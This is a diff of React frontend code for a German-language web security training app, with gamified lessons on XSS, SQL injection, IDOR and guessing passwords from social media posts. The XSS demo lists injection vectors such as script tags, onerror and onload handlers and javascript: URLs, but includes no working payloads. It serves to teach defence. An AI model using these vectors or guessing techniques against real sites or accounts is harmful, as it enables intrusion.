))}
</div>
</div>
{/* Right Column: Login Form */}
<div style={{
display: 'flex',
flexDirection: 'column',
justifyContent: 'center'
}}>
<div style={{
border: '1px solid #e5e7eb',
borderRadius: '0.5rem',
padding: '2rem',
background: 'white'
}}>
<div style={{
textAlign: 'center',
marginBottom: '1.5rem'
}}>
<div style={{
fontSize: '2rem',
marginBottom: '0.5rem'
}}>🔒</div>
<h3 style={{ margin: 0, color: '#1f2937', marginBottom: '0.5rem' }}>Anmelden</h3>
<p style={{ fontSize: '0.875rem', color: '#6b7280', margin: 0 }}>
{loginForm.passwordHint}
</p>
</div>
<div style={{ marginBottom: '1rem' }}>
<label style={{ display: 'block', fontSize: '0.875rem', fontWeight: '500', marginBottom: '0.5rem', color: '#374151' }}>
E-Mail-Adresse
</label>
<input
type="email"
value={loginForm.username}
disabled
style={{
width: '100%',
padding: '0.75rem',
border: '1px solid #d1d5db',
borderRadius: '0.375rem',
fontSize: '0.875rem',
background: '#f3f4f6',
color: '#6b7280'
}}
/>
</div>
<div style={{ marginBottom: '1rem' }}>
<label style={{ display: 'block', fontSize: '0.875rem', fontWeight: '500', marginBottom: '0.5rem', color: '#374151' }}>
Passwort
</label>
<input
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
onKeyPress={(e) => e.key === 'Enter' && attemptLogin()}
placeholder="Passwort eingeben..."
disabled={result?.success}
style={{
width: '100%',
padding: '0.75rem',
border: `2px solid ${result?.success ? '#10b981' : '#d1d5db'}`,
borderRadius: '0.375rem',
fontSize: '0.875rem'
}}
/>
</div>
<button
onClick={attemptLogin}
disabled={loading || !password.trim() || result?.success}
style={{
width: '100%',
padding: '0.75rem',
background: result?.success ? '#10b981' : (loading || !password.trim() ? '#9ca3af' : '#3b82f6'),
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: loading || !password.trim() || result?.success ? 'not-allowed' : 'pointer',
fontWeight: '500',
fontSize: '0.875rem',
marginBottom: '1rem'
}}
>
{loading ? 'Wird geprüft...' : (result?.success ? '✓ Angemeldet' : 'Anmelden')}
</button>
{/* Result Message */}
{result && (
<div style={{
padding: '1rem',
background: result.success ? '#d1fae5' : '#fee2e2',
border: `2px solid ${result.success ? '#10b981' : '#ef4444'}`,
borderRadius: '0.375rem',
marginBottom: '1rem'
}}>
<div style={{
fontWeight: '600',
color: result.success ? '#065f46' : '#991b1b',
marginBottom: '0.5rem'
}}>
{result.success ? '✅ Erfolg!' : '❌ Fehlgeschlagen'}
</div>
<div style={{
fontSize: '0.875rem',
color: result.success ? '#047857' : '#7f1d1d',
marginBottom: result.explanation ? '0.5rem' : 0
}}>
{result.message}
</div>
{result.explanation && (
<div style={{
fontSize: '0.75rem',
color: '#065f46',
padding: '0.5rem',
background: '#ecfdf5',
borderRadius: '0.25rem',
marginBottom: '0.5rem'
}}>
<strong>Erklärung:</strong> {result.explanation}
</div>
)}
{result.securityTip && (
<div style={{
fontSize: '0.75rem',
color: '#065f46',
padding: '0.5rem',
background: '#ecfdf5',
borderRadius: '0.25rem'
}}>
<strong>💡 Sicherheits-Tipp:</strong> {result.securityTip}
</div>
)}
</div>
)}
{/* Hint Display */}
{result && result.hint && !result.success && (
<div style={{
padding: '0.75rem',
background: '#eff6ff',
border: '1px solid #3b82f6',
borderRadius: '0.375rem',
fontSize: '0.875rem',
color: '#1e40af'
}}>
💡 {result.hint}
</div>
)}
{/* Attempt Counter */}
{result && result.attemptCount > 0 && (
<div style={{
textAlign: 'center',
fontSize: '0.75rem',
color: '#6b7280',
marginTop: '1rem'
}}>
Versuch {result.attemptCount}
</div>
)}
</div>
{/* Learning Tip */}
<div style={{
marginTop: '1.5rem',
padding: '1rem',
background: '#fef2f2',
border: '1px solid #fca5a5',
borderRadius: '0.375rem',
fontSize: '0.875rem'
}}>
<div style={{ fontWeight: '600', color: '#991b1b', marginBottom: '0.5rem' }}>
🎯 Hinweis
</div>
<div style={{ color: '#7f1d1d' }}>
Schauen Sie sich die Posts genau an. Welche persönlichen Informationen werden geteilt? Namen, Jahreszahlen, besondere Details...
</div>
</div>
</div>
</div>
</div>
);
};
export default SocialMediaPasswordDemo;

View File

@ -0,0 +1,498 @@
import React, { useState, useEffect } from 'react';
import { participantAPI } from '../../../services/api.service';
const XSSDeeplinkDemo = ({ lessonData, eventLessonId }) => {
const [payload, setPayload] = useState('');
const [result, setResult] = useState(null);
const [loading, setLoading] = useState(false);
const [showComparison, setShowComparison] = useState(false);
const [remainingTime, setRemainingTime] = useState(null);
const [timerStarted, setTimerStarted] = useState(false);
const [currentHint, setCurrentHint] = useState(null);
const [progress, setProgress] = useState({ discovered: 0, total: 9, remaining: 9 });
const interactiveData = lessonData?.interactiveData || {};
const freeHints = interactiveData.freeHints || [];
const timeLimit = interactiveData.timeLimit || 900000; // 15 min default
// Start timer on mount
useEffect(() => {
const startTimer = async () => {
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'start-timer',
{ stepId: 'xss-demo' }
);
setTimerStarted(true);
setRemainingTime(timeLimit);
} catch (error) {
console.error('Failed to start timer:', error);
}
};
startTimer();
}, [eventLessonId, timeLimit]);
// Timer countdown
useEffect(() => {
if (remainingTime === null || remainingTime <= 0) return;
const interval = setInterval(() => {
setRemainingTime(prev => {
if (prev <= 1000) {
clearInterval(interval);
return 0;
}
return prev - 1000;
});
}, 1000);
return () => clearInterval(interval);
}, [remainingTime]);
const formatTime = (ms) => {
if (ms === null) return '--:--';
const minutes = Math.floor(ms / 60000);
const seconds = Math.floor((ms % 60000) / 1000);
return `${minutes}:${seconds.toString().padStart(2, '0')}`;
};
const testPayload = async () => {
if (!payload.trim()) return;
setLoading(true);
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'test-xss',
{ payload, stepId: 'xss-demo' }
);
const data = response.data.data;
setResult(data);
setShowComparison(true);
// Update progress
if (data.progress) {
setProgress(data.progress);
}
// Update remaining time from server
if (data.remainingTime !== undefined) {
setRemainingTime(data.remainingTime);
}
} catch (error) {
console.error('Failed to test payload:', error);
} finally {
setLoading(false);
}
};
const requestHint = async () => {
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'get-hint',
{ stepId: 'xss-demo' }
);
setCurrentHint(response.data.data);
} catch (error) {
console.error('Failed to get hint:', error);
}
};
const timeExpired = remainingTime === 0;
const progressPercent = (progress.discovered / progress.total) * 100;
return (
<div style={{ border: '1px solid #e5e7eb', borderRadius: '0.5rem', padding: '1.5rem', background: 'white' }}>
{/* Educational Warning */}
<div style={{
padding: '1rem',
background: '#fef3c7',
border: '2px solid #f59e0b',
borderRadius: '0.375rem',
marginBottom: '1.5rem'
}}>
<div style={{ fontWeight: '600', color: '#92400e' }}>
Nur zu Bildungszwecken
</div>
<div style={{ fontSize: '0.875rem', color: '#78350f', marginTop: '0.5rem' }}>
Dies ist eine sichere Simulation. Echter XSS-Code wird nicht ausgeführt.
</div>
</div>
<h4 style={{ marginBottom: '1rem', color: '#1f2937' }}>🔐 XSS Deeplink Injection Demo</h4>
{/* Progress and Timer Bar */}
<div style={{
display: 'grid',
gridTemplateColumns: '1fr 1fr',
gap: '1rem',
marginBottom: '1.5rem'
}}>
{/* Progress Tracker */}
<div style={{
padding: '1rem',
background: '#f0fdf4',
border: '2px solid #10b981',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#065f46', marginBottom: '0.5rem' }}>
🎯 Fortschritt
</div>
<div style={{ fontSize: '1.5rem', fontWeight: '700', color: '#059669', marginBottom: '0.25rem' }}>
{progress.discovered} / {progress.total}
</div>
<div style={{ fontSize: '0.875rem', color: '#047857' }}>
Varianten entdeckt
</div>
{/* Progress bar */}
<div style={{
marginTop: '0.75rem',
height: '8px',
background: '#d1fae5',
borderRadius: '4px',
overflow: 'hidden'
}}>
<div style={{
width: `${progressPercent}%`,
height: '100%',
background: '#10b981',
transition: 'width 0.3s'
}}></div>
</div>
</div>
{/* Timer */}
<div style={{
padding: '1rem',
background: timeExpired ? '#fee2e2' : '#eff6ff',
border: `2px solid ${timeExpired ? '#ef4444' : '#3b82f6'}`,
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: timeExpired ? '#991b1b' : '#1e40af', marginBottom: '0.5rem' }}>
Verbleibende Zeit
</div>
<div style={{
fontSize: '1.5rem',
fontWeight: '700',
color: timeExpired ? '#dc2626' : '#2563eb',
marginBottom: '0.25rem'
}}>
{formatTime(remainingTime)}
</div>
{timeExpired && (
<div style={{ fontSize: '0.875rem', color: '#991b1b', fontWeight: '600' }}>
Keine Punkte mehr verfügbar
</div>
)}
{!timeExpired && (
<div style={{ fontSize: '0.875rem', color: '#1e40af' }}>
Punkte verdienbar
</div>
)}
</div>
</div>
{/* Free Hints */}
<div style={{
padding: '1rem',
background: '#fef3c7',
border: '1px solid #fbbf24',
borderRadius: '0.375rem',
marginBottom: '1.5rem'
}}>
<div style={{ fontWeight: '600', color: '#78350f', marginBottom: '0.5rem' }}>
💡 Hinweise (kostenlos)
</div>
<ul style={{ margin: '0.5rem 0 0 1.5rem', fontSize: '0.875rem', color: '#92400e' }}>
{freeHints.map((hint, i) => (
<li key={i} style={{ marginBottom: '0.25rem' }}>{hint}</li>
))}
</ul>
</div>
{/* Hint Request Button */}
<div style={{ marginBottom: '1.5rem' }}>
<button
onClick={requestHint}
disabled={currentHint && currentHint.noMoreHints}
style={{
padding: '0.75rem 1rem',
background: currentHint && currentHint.noMoreHints ? '#9ca3af' : '#f59e0b',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: currentHint && currentHint.noMoreHints ? 'not-allowed' : 'pointer',
fontWeight: '500',
fontSize: '0.875rem',
opacity: currentHint && currentHint.noMoreHints ? 0.6 : 1
}}
>
💡 {currentHint && currentHint.noMoreHints ? 'Alle Hinweise verwendet' : 'Gezielten Hinweis anfordern (-5 Punkte)'}
</button>
{currentHint && !currentHint.noMoreHints && (
<div style={{
marginTop: '0.75rem',
padding: '1rem',
background: '#fff7ed',
border: '2px solid #fb923c',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#9a3412', marginBottom: '0.5rem' }}>
Hinweis #{currentHint.hintsUsed}
</div>
<div style={{ fontSize: '0.875rem', color: '#7c2d12', marginBottom: '0.5rem' }}>
{currentHint.hint}
</div>
<div style={{ fontSize: '0.75rem', color: '#ea580c' }}>
Abgezogene Punkte: {currentHint.totalPointsDeducted}
</div>
</div>
)}
{currentHint && currentHint.noMoreHints && (
<div style={{
marginTop: '0.75rem',
padding: '1rem',
background: '#f3f4f6',
border: '2px solid #9ca3af',
borderRadius: '0.375rem',
color: '#6b7280',
fontSize: '0.875rem'
}}>
Keine weiteren Hinweise verfügbar
</div>
)}
</div>
{/* URL Input */}
<div style={{ marginBottom: '1rem' }}>
<label style={{
display: 'block',
fontSize: '0.875rem',
fontWeight: '500',
marginBottom: '0.5rem',
color: '#374151'
}}>
URL Parameter (name):
</label>
<div style={{ display: 'flex', gap: '0.5rem' }}>
<input
type="text"
value={payload}
onChange={(e) => setPayload(e.target.value)}
onKeyPress={(e) => e.key === 'Enter' && testPayload()}
placeholder="Versuchen Sie XSS-Payloads einzufügen..."
style={{
flex: 1,
padding: '0.75rem',
border: '2px solid #d1d5db',
borderRadius: '0.375rem',
fontSize: '0.875rem',
fontFamily: 'monospace'
}}
/>
<button
onClick={testPayload}
disabled={loading || !payload.trim()}
style={{
padding: '0.75rem 1.5rem',
background: loading || !payload.trim() ? '#9ca3af' : '#3b82f6',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: loading || !payload.trim() ? 'not-allowed' : 'pointer',
fontWeight: '500'
}}
>
{loading ? 'Teste...' : 'Testen'}
</button>
</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginTop: '0.25rem' }}>
URL: https://example-shop.com/product?name={payload || '...'}
</div>
</div>
{/* Results */}
{result && showComparison && (
<div style={{ marginTop: '1.5rem' }}>
{/* Detection Result */}
<div style={{
padding: '1rem',
background: result.isXSS ? '#fee2e2' : '#d1fae5',
border: `2px solid ${result.isXSS ? '#ef4444' : '#10b981'}`,
borderRadius: '0.375rem',
marginBottom: '1rem'
}}>
<div style={{
fontWeight: '600',
color: result.isXSS ? '#991b1b' : '#065f46',
marginBottom: '0.5rem'
}}>
{result.isXSS ? '⚠️ XSS Erkannt!' : '✅ Keine XSS Erkannt'}
</div>
{result.isXSS && (
<>
<div style={{ fontSize: '0.875rem', color: '#7f1d1d', marginBottom: '0.5rem' }}>
<strong>Typ:</strong> {result.attackTitle}
</div>
<div style={{ fontSize: '0.875rem', color: '#7f1d1d', marginBottom: '0.5rem' }}>
{result.explanation}
</div>
<div style={{
fontSize: '0.75rem',
color: '#991b1b',
padding: '0.5rem',
background: '#fef2f2',
borderRadius: '0.25rem',
marginTop: '0.5rem'
}}>
<strong>Auswirkung:</strong> {result.impact}
</div>
{result.isNewDiscovery && (
<div style={{
marginTop: '0.75rem',
padding: '0.5rem',
background: '#ecfdf5',
border: '1px solid #10b981',
borderRadius: '0.25rem',
fontSize: '0.875rem',
color: '#065f46',
fontWeight: '600'
}}>
🎉 Neue Variante entdeckt! +{timeExpired ? '0' : '10'} Punkte
</div>
)}
</>
)}
</div>
{/* Comparison */}
<div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '1rem' }}>
{/* Vulnerable */}
<div style={{
padding: '1rem',
background: '#fef2f2',
border: '2px solid #ef4444',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#991b1b', marginBottom: '0.5rem' }}>
Anfällig (Unsicher)
</div>
<pre style={{
fontSize: '0.75rem',
fontFamily: 'monospace',
background: '#1f2937',
color: '#f9fafb',
padding: '0.75rem',
borderRadius: '0.25rem',
overflow: 'auto',
margin: 0
}}>
{result.comparisonHTML.vulnerable}
</pre>
</div>
{/* Safe */}
<div style={{
padding: '1rem',
background: '#f0fdf4',
border: '2px solid #10b981',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#065f46', marginBottom: '0.5rem' }}>
Sicher (Kodiert)
</div>
<pre style={{
fontSize: '0.75rem',
fontFamily: 'monospace',
background: '#1f2937',
color: '#f9fafb',
padding: '0.75rem',
borderRadius: '0.25rem',
overflow: 'auto',
margin: 0
}}>
{result.comparisonHTML.safe}
</pre>
</div>
</div>
</div>
)}
{/* Learning Resources */}
<div style={{
marginTop: '1.5rem',
padding: '1rem',
background: '#f0f9ff',
border: '1px solid #0ea5e9',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#0c4a6e', marginBottom: '0.75rem' }}>
📚 Lernressourcen
</div>
<div style={{ fontSize: '0.875rem', color: '#075985', lineHeight: '1.8' }}>
<div style={{ marginBottom: '0.5rem' }}>
<strong>HTML-Elemente:</strong>
</div>
<ul style={{ margin: '0 0 1rem 1.5rem' }}>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/script" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;script&gt; Tag
</a> - Führt JavaScript-Code aus
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/img" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;img&gt; Tag
</a> - Kann mit onerror Event-Handler missbraucht werden
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/SVG/Element/svg" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;svg&gt; Tag
</a> - Kann onload Event-Handler enthalten
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/iframe" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;iframe&gt; Tag
</a> - Lädt externe Inhalte
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/object" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;object&gt; Tag
</a> - Bettet externe Ressourcen ein
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/embed" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;embed&gt; Tag
</a> - Bettet Plugins ein
</li>
</ul>
<div style={{ marginBottom: '0.5rem' }}>
<strong>JavaScript & Event-Handler:</strong>
</div>
<ul style={{ margin: '0 0 0 1.5rem' }}>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/API/Window/alert" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
alert() Funktion
</a> - Zeigt Dialogbox an (oft für XSS-Tests genutzt)
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Attributes#event_handler_attributes" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
Event-Handler
</a> - onclick, onerror, onload, etc.
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/URI/Schemes/javascript" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
javascript: Protokoll
</a> - Führt JS-Code in URLs aus
</li>
</ul>
</div>
</div>
</div>
);
};
export default XSSDeeplinkDemo;

View File

@ -2,6 +2,8 @@ import React, { useState, useEffect } from 'react';
import { useNavigate } from 'react-router-dom';
import { useParticipant } from '../contexts/ParticipantContext';
import { participantAPI } from '../services/api.service';
import EventLeaderboard from '../components/EventLeaderboard';
import EventComments from '../components/EventComments';
const EventLanding = () => {
const [lessons, setLessons] = useState([]);
@ -29,6 +31,18 @@ const EventLanding = () => {
}
};
const handleScoreUpdate = (newScore) => {
setProgress(prev => ({
...prev,
total_score: newScore
}));
};
// Check if all lessons are completed (for Easter egg hint)
const allLessonsCompleted = progress &&
progress.lessons_completed === progress.total_lessons_available &&
progress.total_lessons_available > 0;
if (loading) {
return <div style={{ padding: '2rem', textAlign: 'center' }}>Loading...</div>;
}
@ -64,19 +78,71 @@ const EventLanding = () => {
</div>
</div>
<EventLeaderboard eventId={event.id} />
{allLessonsCompleted && (
<div style={{
padding: '1.5rem',
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
color: 'white',
borderRadius: '0.5rem',
marginBottom: '2rem',
boxShadow: '0 4px 6px rgba(0, 0, 0, 0.1)'
}}>
<div style={{ display: 'flex', alignItems: 'flex-start', gap: '1rem' }}>
<div style={{ fontSize: '2rem' }}>🎓</div>
<div style={{ flex: 1 }}>
<h4 style={{ margin: '0 0 0.5rem 0', color: 'white' }}>
Congratulations! All lessons completed! 🎉
</h4>
<p style={{ margin: '0 0 0.75rem 0', opacity: 0.95, lineHeight: '1.5' }}>
You've mastered the fundamentals of web security. Want to put your skills to the test?
</p>
<div style={{
background: 'rgba(255, 255, 255, 0.2)',
padding: '0.75rem',
borderRadius: '0.375rem',
backdropFilter: 'blur(10px)',
fontSize: '0.875rem',
lineHeight: '1.6'
}}>
<strong>💡 Pro Tip:</strong> Security researchers always inspect the inner workings of applications.
Try opening your browser's <strong>Developer Tools</strong> (press <kbd style={{
background: 'rgba(0,0,0,0.3)',
padding: '0.125rem 0.375rem',
borderRadius: '0.25rem',
fontFamily: 'monospace'
}}>F12</kbd>),
check the <strong>Console</strong> and <strong>Network</strong> tabs, and reload this page.
What information can you discover about how this application works? 🔍
</div>
</div>
</div>
</div>
)}
<EventComments
eventId={event.id}
onScoreUpdate={handleScoreUpdate}
/>
<h3 style={{ marginBottom: '1rem' }}>Lessons</h3>
<div style={{ display: 'grid', gap: '1rem' }}>
{lessons.map(lesson => (
<div
key={lesson.eventLessonId}
className="card"
style={{
opacity: lesson.isUnlocked ? 1 : 0.6,
cursor: lesson.isUnlocked ? 'pointer' : 'not-allowed',
transition: 'all 0.2s'
}}
onClick={() => lesson.isUnlocked && navigate(`/lesson/${lesson.eventLessonId}`)}
>
{lessons.map(lesson => {
const isCompleted = lesson.progress?.status === 'completed';
const canAccess = lesson.isUnlocked && !isCompleted;
return (
<div
key={lesson.eventLessonId}
className="card"
style={{
opacity: lesson.isUnlocked ? 1 : 0.6,
cursor: canAccess ? 'pointer' : isCompleted ? 'default' : 'not-allowed',
transition: 'all 0.2s'
}}
onClick={() => canAccess && navigate(`/lesson/${lesson.eventLessonId}`)}
>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'flex-start' }}>
<div style={{ flex: 1 }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.5rem' }}>
@ -110,7 +176,8 @@ const EventLanding = () => {
)}
</div>
</div>
))}
);
})}
</div>
</div>
</div>

View File

@ -1,8 +1,13 @@
import React, { useState, useEffect } from 'react';
import { useParams, useNavigate } from 'react-router-dom';
import ReactMarkdown from 'react-markdown';
import { participantAPI } from '../services/api.service';
import SQLShopDemo from '../components/lessons/InteractiveContent/SQLShopDemo';
import BitBDemo from '../components/lessons/InteractiveContent/BitBDemo';
import XSSDeeplinkDemo from '../components/lessons/InteractiveContent/XSSDeeplinkDemo';
import ForumScriptDemo from '../components/lessons/InteractiveContent/ForumScriptDemo';
import SocialMediaPasswordDemo from '../components/lessons/InteractiveContent/SocialMediaPasswordDemo';
import IDORDemo from '../components/lessons/InteractiveContent/IDORDemo';
const LessonView = () => {
const { eventLessonId } = useParams();
@ -13,6 +18,7 @@ const LessonView = () => {
const [feedback, setFeedback] = useState({});
const [totalScore, setTotalScore] = useState(0);
const [loading, setLoading] = useState(true);
const [completedInteractiveSteps, setCompletedInteractiveSteps] = useState(new Set());
useEffect(() => {
loadLesson();
@ -21,7 +27,16 @@ const LessonView = () => {
const loadLesson = async () => {
try {
const response = await participantAPI.getLessonContent(eventLessonId);
setLesson(response.data.data);
const lessonData = response.data.data;
// Check if lesson is already completed
if (lessonData.progress?.status === 'completed') {
// Redirect back to event page - lesson already completed
navigate('/event');
return;
}
setLesson(lessonData);
await participantAPI.startLesson(eventLessonId);
} catch (error) {
console.error('Failed to load lesson:', error);
@ -58,6 +73,20 @@ const LessonView = () => {
const currentStep = lesson.steps[currentStepIndex];
const isLastStep = currentStepIndex === lesson.steps.length - 1;
// Check if Previous button should be locked
// Lock if any interactive step between 0 and current index has been completed
const isPreviousLocked = Array.from(completedInteractiveSteps).some(
completedIndex => completedIndex < currentStepIndex
);
// Handler for Next button - mark interactive steps as completed
const handleNext = () => {
if (currentStep.type === 'interactive') {
setCompletedInteractiveSteps(prev => new Set([...prev, currentStepIndex]));
}
setCurrentStepIndex(currentStepIndex + 1);
};
return (
<div style={{ minHeight: '100vh', background: '#f9fafb' }}>
<nav style={{ background: 'white', padding: '1rem 2rem', borderBottom: '1px solid #e5e7eb' }}>
@ -74,23 +103,35 @@ const LessonView = () => {
<h2>{currentStep.title}</h2>
{currentStep.type === 'content' && (
<div style={{ whiteSpace: 'pre-wrap', lineHeight: '1.8' }}>
{currentStep.content}
<div style={{ lineHeight: '1.8' }} className="markdown-content">
<ReactMarkdown>{currentStep.content}</ReactMarkdown>
</div>
)}
{currentStep.type === 'interactive' && (
<div>
{currentStep.content && (
<div style={{ whiteSpace: 'pre-wrap', lineHeight: '1.8', marginBottom: '1.5rem' }}>
{currentStep.content}
<div style={{ lineHeight: '1.8', marginBottom: '1.5rem' }} className="markdown-content">
<ReactMarkdown>{currentStep.content}</ReactMarkdown>
</div>
)}
{currentStep.interactiveComponent === 'SQLShopDemo' && (
<SQLShopDemo lessonData={lesson} eventLessonId={eventLessonId} />
<SQLShopDemo lessonData={currentStep} eventLessonId={eventLessonId} />
)}
{currentStep.interactiveComponent === 'BitBDemo' && (
<BitBDemo lessonData={lesson} eventLessonId={eventLessonId} />
<BitBDemo lessonData={currentStep} eventLessonId={eventLessonId} />
)}
{currentStep.interactiveComponent === 'XSSDeeplinkDemo' && (
<XSSDeeplinkDemo lessonData={currentStep} eventLessonId={eventLessonId} />
)}
{currentStep.interactiveComponent === 'ForumScriptDemo' && (
<ForumScriptDemo lessonData={currentStep} eventLessonId={eventLessonId} />
)}
{currentStep.interactiveComponent === 'SocialMediaPasswordDemo' && (
<SocialMediaPasswordDemo lessonData={currentStep} eventLessonId={eventLessonId} />
)}
{currentStep.interactiveComponent === 'IDORDemo' && (
<IDORDemo lessonData={currentStep} eventLessonId={eventLessonId} />
)}
</div>
)}
@ -206,15 +247,17 @@ const LessonView = () => {
<div style={{ display: 'flex', justifyContent: 'space-between', marginTop: '2rem' }}>
<button
onClick={() => setCurrentStepIndex(Math.max(0, currentStepIndex - 1))}
disabled={currentStepIndex === 0}
disabled={currentStepIndex === 0 || isPreviousLocked}
style={{
padding: '0.75rem 1.5rem',
background: '#6b7280',
background: (currentStepIndex === 0 || isPreviousLocked) ? '#d1d5db' : '#6b7280',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: 'pointer'
cursor: (currentStepIndex === 0 || isPreviousLocked) ? 'not-allowed' : 'pointer',
opacity: (currentStepIndex === 0 || isPreviousLocked) ? 0.5 : 1
}}
title={isPreviousLocked ? 'Cannot go back after completing interactive steps' : ''}
>
Previous
</button>
@ -235,7 +278,7 @@ const LessonView = () => {
</button>
) : (
<button
onClick={() => setCurrentStepIndex(currentStepIndex + 1)}
onClick={handleNext}
style={{
padding: '0.75rem 1.5rem',
background: '#2563eb',

View File

@ -77,7 +77,20 @@ export const participantAPI = {
// Execute lesson-specific actions (e.g., SQL query, interactive demos)
executeLessonAction: (eventLessonId, action, data) =>
api.post(`/lesson/${eventLessonId}/action/${action}`, data)
api.post(`/lesson/${eventLessonId}/action/${action}`, data),
// Event leaderboard
getEventLeaderboard: (eventId, filter = '') =>
api.get(`/participant/event/${eventId}/leaderboard`, {
params: filter ? { filter } : {}
}),
// Event comments (hidden jackpot feature)
addEventComment: (eventId, content) =>
api.post(`/participant/event/${eventId}/comment`, { content }),
getEventComments: (eventId) =>
api.get(`/participant/event/${eventId}/comments`)
};
// Admin API
@ -117,6 +130,9 @@ export const adminAPI = {
getEventAnalytics: (eventId) =>
api.get(`/admin/events/${eventId}/analytics`),
getJackpotStats: (eventId) =>
api.get(`/admin/events/${eventId}/jackpot-stats`),
// Lessons
getAllLessons: () =>
api.get('/admin/lessons'),

View File

@ -93,3 +93,125 @@ input:focus, textarea:focus {
padding: 1.5rem;
box-shadow: var(--shadow);
}
/* Markdown content styling */
.markdown-content {
color: var(--text-color);
}
.markdown-content p {
margin-bottom: 1rem;
}
.markdown-content ul,
.markdown-content ol {
margin-bottom: 1rem;
margin-left: 1.5rem;
}
.markdown-content ul {
list-style-type: disc;
}
.markdown-content ol {
list-style-type: decimal;
}
.markdown-content li {
margin-bottom: 0.5rem;
line-height: 1.6;
}
.markdown-content ul ul,
.markdown-content ol ul {
list-style-type: circle;
margin-top: 0.5rem;
}
.markdown-content strong {
font-weight: 600;
color: #111827;
}
.markdown-content em {
font-style: italic;
}
.markdown-content code {
background-color: #f3f4f6;
padding: 0.2rem 0.4rem;
border-radius: 0.25rem;
font-family: 'Courier New', Courier, monospace;
font-size: 0.875rem;
color: #dc2626;
}
.markdown-content pre {
background-color: #1f2937;
color: #f9fafb;
padding: 1rem;
border-radius: 0.5rem;
overflow-x: auto;
margin-bottom: 1rem;
}
.markdown-content pre code {
background-color: transparent;
color: inherit;
padding: 0;
font-size: 0.875rem;
}
.markdown-content h1,
.markdown-content h2,
.markdown-content h3,
.markdown-content h4 {
margin-top: 1.5rem;
margin-bottom: 0.75rem;
font-weight: 600;
}
.markdown-content h1 {
font-size: 1.875rem;
color: var(--primary-color);
}
.markdown-content h2 {
font-size: 1.5rem;
color: #374151;
}
.markdown-content h3 {
font-size: 1.25rem;
color: #4b5563;
}
.markdown-content h4 {
font-size: 1.125rem;
color: #6b7280;
}
.markdown-content blockquote {
border-left: 4px solid var(--primary-color);
padding-left: 1rem;
margin: 1rem 0;
color: #6b7280;
font-style: italic;
}
.markdown-content a {
color: var(--primary-color);
text-decoration: none;
border-bottom: 1px solid transparent;
transition: border-color 0.2s;
}
.markdown-content a:hover {
border-bottom-color: var(--primary-color);
}
.markdown-content hr {
border: none;
border-top: 1px solid var(--border-color);
margin: 2rem 0;
}